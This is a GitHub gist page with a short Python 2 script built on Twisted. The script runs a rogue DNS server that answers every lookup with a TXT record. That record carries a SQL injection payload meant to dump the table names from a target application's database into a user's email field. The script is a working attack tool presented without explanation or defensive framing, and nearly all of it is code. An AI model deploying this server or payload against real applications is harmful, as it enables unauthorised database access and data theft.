Skip to content

Instantly share code, notes, and snippets.

@abdilahrf
Forked from anonymous/custom-dns-server.py
Created January 16, 2017 05:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save abdilahrf/c4b763ffcb5b292ee4445cd98516b129 to your computer and use it in GitHub Desktop.
Save abdilahrf/c4b763ffcb5b292ee4445cd98516b129 to your computer and use it in GitHub Desktop.
import socket
import time
from twisted.internet.protocol import Factory, Protocol
from twisted.internet import reactor
from twisted.names import dns
from twisted.names import client, server
from twisted.internet import defer
class MyResolver(client.Resolver):
def lookupAllRecords(self, name, timeout=None):
results = []
authority = []
additional = []
_ttl = 0
INJ = "',email=(SELECT GROUP_CONCAT(table_name) from information_schema.tables where schema_name!='information_schema'),resetinfo='"
record = dns.Record_TXT(INJ, ttl=_ttl)
results.append( dns.RRHeader(name, type=record.TYPE, payload=record, auth=True,ttl=_ttl) )
print INJ
return defer.succeed((results, authority, additional))
class DNSServerFactory(server.DNSServerFactory):
def gotResolverResponse(self, (ans, auth, add), protocol, message, address):
qname = message.queries[0].name.name
print time.time(), address
print message.queries
print 'ans',ans
args = (self, (ans, auth, add), protocol, message, address)
return server.DNSServerFactory.gotResolverResponse(*args)
verbosity = 0
resolver = MyResolver(servers=[('8.8.8.8', 53)])
factory = DNSServerFactory(clients=[resolver], verbose=verbosity)
protocol = dns.DNSDatagramProtocol(factory)
factory.noisy = protocol.noisy = verbosity
reactor.listenUDP(53, protocol)
reactor.listenTCP(53, factory)
reactor.run()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment